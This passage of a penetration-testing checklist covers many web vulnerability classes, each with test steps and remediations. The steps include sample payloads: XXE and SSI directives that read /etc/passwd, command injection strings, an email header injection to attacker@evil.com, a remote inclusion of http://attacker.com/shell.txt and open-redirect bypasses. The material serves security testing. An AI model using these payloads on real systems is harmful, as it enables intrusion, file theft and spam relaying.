Use ORM's parameterized query features correctly. Avoid concatenating user input into ORM queries. Use named parameters. Keep ORM frameworks updated. Review ORM query construction in code reviews.

Test for XML injection vulnerabilities including XML External Entity (XXE) attacks that can lead to file disclosure, SSRF, and denial of service through malicious XML input.

Identify XML injection points and test for XXE (XML External Entity) attacks to achieve file disclosure, SSRF, or denial of service.

Test XML input fields with XML metacharacters (<, >, &, ', "). Inject external entity declarations (<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>). Test for blind XXE via out-of-band channels. Test for XML bombs (billion laughs). Tools: Burp Suite, XXEinjector.

Disable external entity processing in XML parsers. Use less complex data formats (JSON) where possible. Validate and sanitize XML input. Use updated XML parsing libraries. Implement input whitelisting.

Test for Server-Side Include (SSI) injection where attackers can inject SSI directives to execute commands on the server or include sensitive file contents.

Identify SSI injection points and test the ability to inject SSI directives that could execute server-side commands or include sensitive files.

Inject SSI directives: <!--#exec cmd='ls' -->, <!--#include virtual='/etc/passwd' -->, <!--#echo var='DOCUMENT_ROOT' -->. Test in all input fields that might be reflected in SSI-processed pages. Check for .shtml, .stm, .shtm file extensions.

Disable SSI if not needed. Sanitize user input against SSI directives. Use the 'IncludesNOEXEC' option to disable command execution. Implement proper input validation. Use modern templating engines instead.

Test for XPath injection vulnerabilities where user input is used in XPath queries without sanitization, potentially allowing authentication bypass or data extraction from XML stores.

Identify XPath injection points and assess the ability to bypass authentication or extract data from XML data stores through XPath query manipulation.

Test with XPath special characters (', ", or, and, //, [, ]). Try authentication bypass: ' or '1'='1. Inject XPath functions (string-length, substring, count). Test for blind XPath injection using boolean conditions. Extract XML document structure through inference.

Use parameterized XPath queries. Validate and sanitize all inputs used in XPath queries. Implement input whitelisting. Consider using compiled XPath expressions. Apply least privilege to XML data access.

Test for email header injection and IMAP/SMTP command injection where attackers can manipulate email functionality to send spam, access mailboxes, or bypass authentication.

Identify IMAP/SMTP injection points in webmail applications and test the ability to inject commands or manipulate email functionality.

Test email-related parameters for CRLF injection (\r\n). Inject additional email headers (CC, BCC, Subject). Test IMAP command injection in webmail search/list functions. Test SMTP injection in contact forms. Try: test%0d%0aBCC:attacker@evil.com.

Sanitize all inputs used in email operations. Use email libraries that prevent header injection. Validate email addresses strictly. Don't pass user input directly to IMAP/SMTP commands. Implement rate limiting on email functions.

Test for code injection vulnerabilities where user input is dynamically executed as code (e.g., eval(), include()) allowing attackers to run arbitrary code on the server.

Identify code injection points where user input is dynamically evaluated or executed as code, enabling arbitrary code execution.

Test for PHP code injection (eval(), include(), require()). Test for Python injection (eval(), exec()). Test for Ruby injection (eval()). Test for Node.js injection (eval(), Function()). Inject code snippets and observe behavior. Test file inclusion (LFI/RFI). Tools: Burp Suite, Commix.

Never use eval() or similar dynamic code execution with user input. Implement strict input validation. Use sandboxed execution environments if dynamic code is needed. Apply principle of least privilege. Use static analysis tools to detect code injection patterns.

Test for local file inclusion vulnerabilities where attackers can include local server files through manipulated file path parameters, potentially reading sensitive files or executing code.

Identify local file inclusion points and test the ability to read arbitrary local files or achieve code execution through file inclusion.

Test parameters with path traversal (../../etc/passwd). Test with null byte injection (%00). Try PHP wrappers (php://filter/convert.base64-encode/resource=). Test log file poisoning for code execution. Try including /proc/self/environ. Tools: Burp Suite, LFISuite, Kadimus.

Use whitelists for allowed file includes. Avoid using user input in file inclusion functions. Implement proper input validation and sanitization. Disable remote file inclusion (allow_url_include=Off). Use chroot environments.

Test for remote file inclusion vulnerabilities where attackers can include files from external servers, typically leading to remote code execution on the target server.

Identify remote file inclusion points and test the ability to include attacker-controlled remote files for code execution.

Test parameters with remote URLs (http://attacker.com/shell.txt). Test with different protocols (ftp://, data://, expect://). Verify allow_url_include is enabled. Test with null byte injection. Monitor external server for callbacks. Tools: Burp Suite, fimap.

Disable remote file inclusion (allow_url_include=Off in PHP). Use whitelists for allowed file includes. Never use user input in include/require statements. Implement network-level egress filtering. Use application firewalls.

Test for OS command injection vulnerabilities where user input is passed to system commands, allowing attackers to execute arbitrary operating system commands.

Identify command injection points and test the ability to inject and execute arbitrary OS commands on the server.

Test with command separators (;, |, ||, &&, \n, backticks, $()). Inject commands: ; ls, | whoami, && cat /etc/passwd. Test blind command injection with time delays (ping -c 10, sleep 10). Test with out-of-band techniques (DNS, HTTP callbacks). Tools: Commix, Burp Suite.

Avoid calling OS commands directly. Use library functions instead of exec/system calls. If necessary, use strict whitelisting of allowed commands and parameters. Implement parameterized command execution. Apply least privilege to the application user.

Test for buffer overflow vulnerabilities including heap overflow, stack overflow, and format string bugs that could lead to code execution or denial of service.

Identify buffer overflow vulnerabilities (heap, stack, format string) that could lead to arbitrary code execution or denial of service.

Send oversized inputs to all parameters. Test with long strings (A*10000). Test format string vulnerabilities (%x, %s, %n). Monitor for crashes or unexpected behavior. Test integer overflow conditions. Tools: SPIKE, Peach Fuzzer, AFL, Burp Intruder.

Use memory-safe programming languages. Implement proper input length validation. Use safe string handling functions. Enable ASLR, DEP/NX, and stack canaries. Implement bounds checking. Use static analysis tools.

Test for heap-based buffer overflow vulnerabilities where excessive data written to heap-allocated buffers can corrupt adjacent heap memory structures.

Identify heap overflow conditions by sending oversized inputs that target heap-allocated buffers in the application.

Send large payloads targeting dynamically allocated memory. Test file upload with oversized content. Fuzz application inputs with increasing sizes. Monitor for heap corruption indicators. Use memory debugging tools (Valgrind, AddressSanitizer).

Use safe memory allocation and bounds checking. Implement heap protection mechanisms. Use memory-safe languages. Apply ASLR and heap randomization. Perform regular code audits focusing on memory management.

Test for stack-based buffer overflow vulnerabilities where excessive data written to stack-allocated buffers can overwrite return addresses and enable code execution.

Identify stack overflow conditions by testing for buffer overflows in stack-allocated variables that could allow control of the instruction pointer.

Send long strings to input fields targeting stack buffers. Test with pattern strings to identify offsets. Use fuzzing tools to generate test cases. Monitor for segmentation faults. Use debuggers to analyze crash behavior. Tools: GDB, WinDbg, AFL.

Use safe string handling functions (strncpy instead of strcpy). Enable stack canaries and DEP/NX. Use ASLR. Implement proper input validation. Use memory-safe languages. Perform code reviews focusing on buffer operations.

Test for format string vulnerabilities where user input is used as a format string argument, potentially allowing memory disclosure or arbitrary code execution.

Identify format string vulnerabilities by testing parameters that may be used in printf-like functions without proper format specifiers.

Inject format specifiers in input fields (%x, %s, %n, %p, %d). Test for information disclosure with %x (hex dump). Test for crashes with %s (dereference). Test for write with %n (dangerous). Monitor for unexpected output format changes.

Never use user input as format strings. Always specify format strings explicitly (printf("%s", user_input) instead of printf(user_input)). Use compiler warnings (-Wformat). Implement input validation.

Test for vulnerabilities that require a time-delay or specific trigger before they become active, such as stored XSS that executes when viewed by an admin, or time-bombs in uploaded files.

Identify incubated vulnerabilities that are stored and later triggered by specific conditions, such as stored payloads executed by privileged users.

Inject payloads in stored fields and monitor for delayed execution. Test file uploads that might be processed later (images, documents). Check batch processing of user input. Test for second-order SQL injection. Monitor email-based triggers and scheduled task inputs.

Validate and sanitize all stored input. Implement output encoding when displaying stored data. Scan uploaded files for malicious content. Apply security controls to batch processing. Monitor for delayed payload execution.

Test for HTTP response splitting and request smuggling vulnerabilities where CRLF injection in HTTP headers can lead to cache poisoning, XSS, or session hijacking.

Assess if the application is vulnerable to HTTP splitting/smuggling by injecting CRLF characters in HTTP headers to manipulate responses or requests.

Inject CRLF sequences (%0d%0a, \r\n) in parameters reflected in HTTP headers. Test for response splitting (injecting additional headers). Test HTTP request smuggling (CL.TE, TE.CL, TE.TE). Test cache poisoning through split responses. Tools: Burp Suite, smuggler.

Sanitize all input used in HTTP headers. Remove or encode CRLF characters. Use framework functions for setting HTTP headers. Implement proper front-end/back-end server configuration. Keep servers updated.

Test error handling to identify information leakage through detailed error messages, stack traces, and debug information that reveals internal application structure.

Identify detailed error messages and error codes that reveal information about the application's technology stack, internal paths, database structure, or logic.

Trigger various error conditions (404, 500, database errors). Submit invalid input types, oversized data, and special characters. Analyze error messages for sensitive information. Test with different Accept headers. Force authentication and authorization errors.

Implement custom error pages that don't reveal technical details. Log detailed errors server-side only. Return generic error messages to users. Use error codes instead of descriptive messages. Implement global error handling.

Test for stack trace disclosure in error responses that reveals source code paths, library versions, database queries, and other sensitive technical details.

Verify that stack traces are not returned to users and that detailed error information is only logged server-side.

Cause application errors and check for stack traces in responses. Test with unexpected input types and malformed requests. Check for framework-specific debug pages (Django debug, PHP errors, Java stack traces). Review custom error pages for information leakage.

Disable debug mode in production. Configure frameworks to suppress stack traces. Implement global exception handlers. Log stack traces server-side only. Use custom error pages for all error conditions.

Test the SSL/TLS configuration for weak ciphers, outdated protocols, and misconfiguration that could compromise the confidentiality and integrity of data in transit.

Identify weak SSL/TLS ciphers and protocols. Verify proper certificate configuration and ensure strong transport layer protection.

Test for SSLv2, SSLv3, TLS 1.0, TLS 1.1 support (all deprecated). Check for weak cipher suites (RC4, DES, export ciphers, NULL ciphers). Verify certificate validity, chain, and key size. Test for BEAST, POODLE, CRIME, BREACH, Heartbleed vulnerabilities. Tools: SSLyze, testssl.sh, Qualys SSL Labs.

Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Use only TLS 1.2+ with strong cipher suites. Implement perfect forward secrecy (ECDHE). Use 2048+ bit RSA keys or 256+ bit ECC. Enable HSTS. Regularly test and update TLS configuration.

Test for padding oracle vulnerabilities in encryption implementations that could allow attackers to decrypt encrypted data or forge valid encrypted messages without knowing the key.

Identify padding oracle vulnerabilities that could allow decryption of encrypted data or forging of valid ciphertext.

Identify encrypted parameters (cookies, tokens, hidden fields). Modify ciphertext bytes and observe error responses. Test for different error responses for valid vs invalid padding. Use tools: PadBuster, Burp Suite Intruder. Test with timing analysis for blind padding oracles.

Use authenticated encryption modes (GCM, CCM). Implement constant-time comparison for MAC verification. Use consistent error responses. Migrate from CBC mode to GCM mode. Implement encrypt-then-MAC scheme.

Identify instances where sensitive data (credentials, personal information, financial data) is transmitted over unencrypted HTTP channels instead of HTTPS.

Identify sensitive data transmitted over unencrypted channels and verify all sensitive communications use proper encryption.

Use a proxy to monitor all HTTP traffic. Identify any sensitive data sent over HTTP. Check for mixed content (HTTPS page loading HTTP resources). Test if forms submit over HTTP. Check API calls for encryption. Verify redirect chains don't temporarily use HTTP.

Enforce HTTPS for all traffic. Implement HSTS. Fix mixed content issues. Redirect all HTTP to HTTPS. Use secure WebSocket (WSS) for real-time communication. Ensure API endpoints only accept HTTPS.

Test if the application properly validates business logic constraints on data inputs, such as valid ranges, acceptable values, and inter-field dependencies.

Verify that the application validates all data according to business rules and rejects data that violates business logic constraints.

Test with values outside expected ranges (negative prices, future dates). Test inter-field dependencies (start date after end date). Test boundary values. Submit data that violates business rules. Test with unexpected data types.

Implement comprehensive business logic validation on the server-side. Validate all inter-field dependencies. Apply range and format checks. Document and test all business rules. Don't rely solely on client-side validation.

Test if attackers can forge requests to perform actions that should require specific workflows or user interactions, bypassing intended business processes.

Determine if it is possible to forge requests in a way that allows skipping business logic steps or performing unauthorized actions.

Capture and replay requests out of sequence. Skip intermediate workflow steps. Modify hidden field values. Forge requests by combining legitimate request parts. Test direct API calls bypassing the UI workflow.

Implement server-side workflow state tracking. Validate request sequences. Use anti-forgery tokens. Implement server-side process state validation. Don't rely on client-side workflow enforcement.

Test if the application performs adequate integrity checks to prevent data tampering in parameters like prices, quantities, roles, and other business-critical values.

Determine if the application validates the integrity of critical data and detects/prevents unauthorized data manipulation.

Modify price values in shopping cart requests. Tamper with quantity fields. Change hidden fields containing role or permission data. Test for race conditions in concurrent operations. Modify calculated values (totals, discounts).

Perform all critical calculations server-side. Implement server-side integrity checks. Use signed or encrypted tokens for sensitive parameters. Validate all client-submitted data against server-side state. Implement audit logging.

Test if the application is vulnerable to race conditions or timing attacks where concurrent operations can lead to inconsistent states or security bypasses.

Identify race conditions and timing vulnerabilities that could allow attackers to exploit concurrent execution for unauthorized actions.

Send concurrent requests for the same operation (double-spending, double-voting). Test time-of-check-to-time-of-use (TOCTOU) vulnerabilities. Use multiple threads/browsers simultaneously. Test with Burp Turbo Intruder for race conditions. Monitor for inconsistent states.

Implement proper locking mechanisms for critical operations. Use database transactions with appropriate isolation levels. Implement idempotency keys. Use optimistic or pessimistic concurrency control. Add rate limiting.

Test if the application enforces limits on how many times a function can be used (coupon redemption, vote casting, free trial signup) to prevent abuse.

Verify that the application enforces proper limits on function usage to prevent abuse of features like coupons, votes, or trial accounts.

Attempt to reuse single-use tokens (coupons, vouchers). Test for multiple votes/submissions. Try creating multiple trial accounts. Test discount code reuse. Check for limits on password reset requests. Test API rate limits.

Implement server-side usage counters. Use unique tokens for single-use operations. Implement rate limiting. Track usage per user account. Use database constraints to enforce uniqueness. Implement proper audit logging.

Test if the application allows users to skip required steps in business workflows (e.g., bypassing payment after adding items to cart, or skipping verification steps).

Verify that the application enforces workflow sequences and that steps cannot be bypassed or performed out of order.

Map the application's workflow steps. Attempt to skip steps by directly requesting later stages. Modify state parameters to advance workflow artificially. Test accessing pages out of sequence. Bypass client-side workflow enforcement.

Implement server-side workflow state management. Validate that all required steps are completed. Use session-based workflow tracking. Don't expose workflow state in client-controllable parameters. Implement step dependencies.

Test the application's resilience against automated abuse, excessive usage, and misuse scenarios that could degrade service or exploit business functionality.

Verify that the application has proper defenses against misuse including rate limiting, CAPTCHA, and abuse detection mechanisms.

Test rate limiting on critical functions. Attempt automated form submission. Test CAPTCHA implementation. Check for bot detection. Try excessive API calls. Test for lack of resource consumption limits. Monitor for abuse detection alerts.

Implement rate limiting on all critical operations. Use CAPTCHA for sensitive operations. Implement bot detection. Set resource consumption limits. Implement abuse detection and alerting. Use progressive delays for repeated operations.

Test if the application properly validates file types during upload to prevent uploading of potentially dangerous file types (executables, scripts, server-side code).

Verify that the application validates file uploads to prevent uploading of unexpected or dangerous file types that could be executed server-side.

Upload files with different extensions (.php, .asp, .jsp, .exe, .html). Test with double extensions (file.php.jpg). Test content-type manipulation. Upload files with MIME type mismatch. Test null byte in filenames (file.php%00.jpg). Try polyglot files.

Implement whitelist-based file type validation. Validate both file extension and MIME type. Check file magic numbers/headers. Store uploads outside web root. Rename uploaded files. Use a CDN or separate domain for user uploads.

Test if the application scans uploaded files for malicious content (malware, scripts, macros) that could compromise the server or other users who download the files.

Verify that the application detects and prevents the upload of files containing malicious content such as malware, web shells, or embedded scripts.

Upload web shells (PHP, ASP, JSP). Upload files with embedded scripts (SVG with JavaScript). Upload documents with malicious macros. Upload files with path traversal in names (../../). Test zip bombs and XML bombs. Use EICAR test file for AV testing.

Implement antivirus scanning on all uploads. Sanitize file contents (strip macros, scripts). Store files outside the web root. Use content-disposition: attachment for downloads. Implement file size limits. Process uploads in sandboxed environments.

Test for DOM-based XSS where the vulnerability exists in client-side JavaScript that processes user input and writes it to the DOM without proper sanitization.

Identify DOM-based XSS vulnerabilities where client-side scripts manipulate the DOM using user-controllable input sources.

Identify JavaScript code that reads from sources (location.hash, location.search, document.referrer, window.name). Trace data flow to sinks (innerHTML, document.write, eval). Test with XSS payloads in URL fragments and parameters. Tools: DOM Invader (Burp), DOMPurify testing.

Use safe DOM manipulation methods (textContent instead of innerHTML). Sanitize user input before DOM insertion. Implement Content-Security-Policy. Use DOMPurify for HTML sanitization. Avoid dangerous sinks (eval, document.write).

Test for JavaScript execution vulnerabilities where user input can be executed as JavaScript code through eval(), setTimeout(), or other dynamic code execution functions.

Identify points where user input is dynamically executed as JavaScript code through unsafe functions like eval(), Function(), setTimeout().

Test for JavaScript injection through eval() and similar functions. Test URL parameters reflected in JavaScript contexts. Check for JSON injection leading to code execution. Test for prototype pollution. Analyze client-side code for unsafe patterns.

Never use eval() with user input. Use JSON.parse() instead of eval() for JSON. Implement strict Content-Security-Policy (no unsafe-eval). Use template literals safely. Validate all user input before use in JavaScript contexts.

Test for HTML injection vulnerabilities where user input is reflected in the page without proper encoding, allowing attackers to inject arbitrary HTML elements.

Identify HTML injection points where user-controlled input is rendered as HTML in the page without proper encoding or sanitization.

Inject HTML tags in input fields and observe if they are rendered. Test with form elements (<form action='evil'>), phishing content, and iframe injection. Test for dangling markup injection. Check for template injection in client-side frameworks.

Encode all user output for HTML context. Use Content-Security-Policy to mitigate impact. Implement input validation. Use framework's built-in HTML encoding. Sanitize rich text input with a whitelist-based sanitizer.

Test for open redirect vulnerabilities where user-controlled input is used to redirect users to external sites, enabling phishing attacks and OAuth token theft.

Identify client-side URL redirect vulnerabilities that could be used for phishing or to bypass same-origin restrictions.

Test redirect parameters (url=, redirect=, next=, return=) with external URLs. Test JavaScript-based redirects (window.location, location.href). Try bypasses: //evil.com, /\evil.com, https:evil.com. Test for open redirects in OAuth flows.

Use a whitelist of allowed redirect destinations. Validate redirect URLs server-side. Use relative URLs for redirects. Don't use user input in redirect targets. Implement a redirect warning page for external URLs.

Test for CSS injection vulnerabilities where user input can modify the page's CSS, potentially enabling data exfiltration through CSS selectors or UI manipulation for phishing.

Identify CSS injection points where user-controlled input can modify page styling, potentially enabling data exfiltration or UI redress attacks.

Inject CSS properties in user-controlled parameters. Test for data exfiltration via CSS selectors (attribute selectors with external URLs). Inject @import rules. Test for style tag injection. Check for CSS-based keylogging techniques.

Sanitize all user input used in CSS contexts. Implement Content-Security-Policy with strict style-src. Use CSS frameworks that escape dynamic values. Avoid reflecting user input in style attributes or tags.

Test if the application allows user-controlled input to define resource URLs (script sources, image sources, link targets) that could be exploited for script injection or phishing.

Identify vulnerabilities where user input can manipulate client-side resources (scripts, images, stylesheets, links) loaded by the application.

Identify parameters that control resource loading (src, href, action). Test injection of malicious resource URLs. Test for relative path overwrite. Check for dynamic script loading from user-controlled sources. Test for resource injection in templates.

Validate all URLs used for resource loading. Use Content-Security-Policy to restrict resource origins. Implement Subresource Integrity (SRI) for external resources. Don't use user input in resource URLs. Use whitelists for allowed domains.

Test the CORS configuration to identify overly permissive settings that could allow unauthorized cross-origin access to sensitive application data and APIs.

Verify that CORS headers are properly configured and don't allow unauthorized cross-origin access to sensitive resources.

Send requests with different Origin headers and check Access-Control-Allow-Origin. Test for wildcard (*) in CORS headers. Check if credentials are allowed with permissive origins. Test for null origin bypass. Verify preflight request handling. Tools: Burp Suite, curl.

Use a whitelist of trusted origins. Never use wildcard (*) with credentials. Validate Origin header server-side. Implement proper preflight handling. Only expose necessary headers. Restrict CORS to APIs that require cross-origin access.

Test for cross-site flashing vulnerabilities in Flash (SWF) content that could allow cross-domain data access or JavaScript execution through vulnerable Flash applications.

Identify vulnerabilities in Flash (SWF) content including insecure cross-domain communication and JavaScript execution through Flash.

Identify Flash content on the application. Test for FlashVars injection. Check crossdomain.xml for overly permissive policies. Test for ExternalInterface.call vulnerabilities. Check for unsafe LoadMovie and getURL calls. Tools: SWFScan, JPEXS Free Flash Decompiler.

Remove Flash content entirely (Flash is end-of-life). If Flash must remain, restrict crossdomain.xml policies. Sanitize FlashVars input. Validate ExternalInterface callbacks. Migrate to HTML5 alternatives.

Test if the application is vulnerable to clickjacking attacks where transparent or opaque layers trick users into clicking on elements of the application without their knowledge.

Verify that the application implements proper frame-busting defenses and X-Frame-Options or CSP frame-ancestors to prevent clickjacking.

Check for X-Frame-Options header (DENY or SAMEORIGIN). Check for Content-Security-Policy frame-ancestors directive. Try embedding the application in an iframe. Test frame-busting JavaScript for bypasses. Create a proof-of-concept clickjacking page. Tools: Burp Clickbandit.

Implement X-Frame-Options: DENY or SAMEORIGIN. Use Content-Security-Policy: frame-ancestors 'self'. Implement JavaScript frame-busting as defense-in-depth. Consider SameSite cookie attribute for additional protection.

Test WebSocket implementations for security vulnerabilities including lack of authentication, cross-site WebSocket hijacking, and injection attacks through WebSocket messages.

Identify security issues in WebSocket implementations including authentication, authorization, encryption, and input validation.

Check if WebSocket connections use WSS (encrypted). Test for Cross-Site WebSocket Hijacking (CSWSH). Verify authentication on WebSocket connections. Test for injection attacks in WebSocket messages. Check for rate limiting. Monitor WebSocket traffic for sensitive data. Tools: Burp Suite WebSocket support.

Use WSS (WebSocket Secure) for all connections. Implement proper authentication and authorization on WebSocket connections. Validate all WebSocket messages server-side. Implement rate limiting. Use Origin header validation.

Test the HTML5 Web Messaging (postMessage) API implementation for vulnerabilities including lack of origin validation that could allow cross-origin data theft or XSS.

Verify that the application's use of postMessage API properly validates message origins and sanitizes message data to prevent cross-origin attacks.

Identify postMessage listeners (addEventListener('message')). Check if origin is validated in message handlers. Test sending messages from untrusted origins. Check for sensitive data in postMessage payloads. Test for XSS through message data. Tools: Browser DevTools, Burp Suite.

Always validate the origin of incoming messages. Sanitize message data before processing. Use specific target origins in postMessage calls (not '*'). Avoid passing sensitive data through postMessage. Implement message format validation.

Test the application's use of HTML5 local storage and session storage to identify sensitive data that may be stored insecurely on the client-side.

Identify sensitive data stored in HTML5 localStorage and sessionStorage, and verify that the application uses client-side storage securely.

Inspect localStorage and sessionStorage via browser DevTools. Check for sensitive data (tokens, passwords, PII). Test for XSS that could access stored data. Check if data is encrypted. Test data persistence across sessions. Review JavaScript for storage operations.

Don't store sensitive data in local/session storage. Use HttpOnly cookies for session tokens. If local storage is needed, encrypt sensitive values. Implement proper data expiration. Clear stored data on logout. Sanitize data before storage.